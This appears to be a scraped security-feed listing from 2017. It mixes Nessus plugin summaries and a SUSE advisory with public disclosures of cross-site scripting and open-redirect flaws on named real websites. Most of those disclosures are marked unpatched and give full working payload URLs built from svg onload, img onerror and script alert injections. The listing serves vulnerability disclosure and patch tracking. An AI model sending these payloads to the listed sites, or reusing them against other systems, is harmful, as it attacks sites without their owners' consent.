Tenable SecurityCenter OpenSSL 1.0.2 < 1.0.2k Multiple Vulnerabilities (TNS-2017-04)

The Tenable SecurityCenter application installed on the remote host is missing a security patch. It is, therefore, affected by multiple vulnerabilities in the bundled version of OpenSSL : - A carry propagation error exists in the Broadwell-specific Montgomery multiplication procedure when handlin...

systweak.com XSS vulnerability

Vulnerable URL: http://www.systweak.com/fix-all-dll-errors/default.asp?searchtext=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 72044 VIP...

fr.backoffice.be XSS vulnerability

Vulnerable URL:...

travbuddy.com XSS vulnerability

Vulnerable URL: http://www.travbuddy.com/register.php?mapid=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 106831 VIP website status:| No Coordinated Disclosure Timeline:...

ncg.kcl.ac.uk XSS vulnerability

Vulnerable URL: http://ncg.kcl.ac.uk/query.php?genename=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

amtrib.com XSS vulnerability

Vulnerable URL: http://www.amtrib.com/search?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4886358 VIP website status:| No Check amtrib.com SSL connection:| Grade: A-...

ricambi-vespa.it XSS vulnerability

Vulnerable URL: http://www.ricambi-vespa.it/find.php?query=coprigambe" autofocus onfocus="prompt/openbugbounty/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1644274 VIP website...

secure.optionelements.com XSS vulnerability

Vulnerable URL: https://secure.optionelements.com/m/login.cfm?emailaddress=%27==%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=0.987632 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

mail.clintonvillewi.org XSS vulnerability

Vulnerable URL: http://mail.clintonvillewi.org:32000/webmail/?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

Cisco IOS Multiple OpenSSL Vulnerabilities (CSCut46130)

The remote Cisco IOS device is missing a vendor-supplied security patch and has an IOS service configured to use TLS or SSL. It is, therefore, affected by the following vulnerabilities in the bundled OpenSSL library : - A use-after-free condition exists in the d2iECPrivateKey function due to...

SUSE-SU-2016:0857-1 Security update for rubygem-activesupport-4_1

This update for rubygem-activesupport-41 fixes the following issues: The previous security patch for CVE-2015-7576 was adding a new file but this file was not being added in the gemspec, thus the resulting gem didn't have it. This update includes the patch in the gem file too...

retina.postech.ac.kr XSS vulnerability

Vulnerable URL: https://retina.postech.ac.kr/center/inc/postcode.jsp?form=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

water.soundprint.org Open Redirect vulnerability

Vulnerable URL: http://water.soundprint.org/link.php?link=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pageran...

login.flipora.com XSS vulnerability

Vulnerable URL: http://login.flipora.com/signup.jsp?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Goog...

users.cs.jmu.edu XSS vulnerability

Vulnerable URL: https://users.cs.jmu.edu/bernstdh/web/common/lectures/phpexamples/xss/trusted/preview.php?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:|...

firstline-pharmacy.com XSS vulnerability

Vulnerable URL: http://firstline-pharmacy.com/site/search?q=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E=11=9 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4928058 Google...

soundmakers.ca XSS vulnerability

Vulnerable URL: http://www.soundmakers.ca/soundstreams-commissions.aspx?gclid=CIXh666EscCFRUrjgodT3APEw=%3Cscript%3Ealert%28%22XSSPOSED%22%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

Oracle Identity Manager End User Self Service (January 2014 CPU)

The remote host is missing the January 2014 Critical Patch Update for Oracle Identity Manager. It is, therefore, potentially affected by multiple, unspecified vulnerabilities in the End User Self Service sub-component of Oracle Identity Manager. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

AIX 5.3 TL 9 : sendmail (IZ72835)

'sendmail before 8.14.4 does not properly handle a '\0' character in a Common Name CN field of an X.509 certificate, which 1 allows man-in-the-middle attackers to spoof arbitrary SSL-based SMTP servers via a crafted server certificate issued by a legitimate Certification Authority, and 2 allows...

AIX 610005 : U841417

The remote host is missing AIX PTF U841417 which is related to the security of the package bos.64bit.6.1 You should install this PTF for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc';...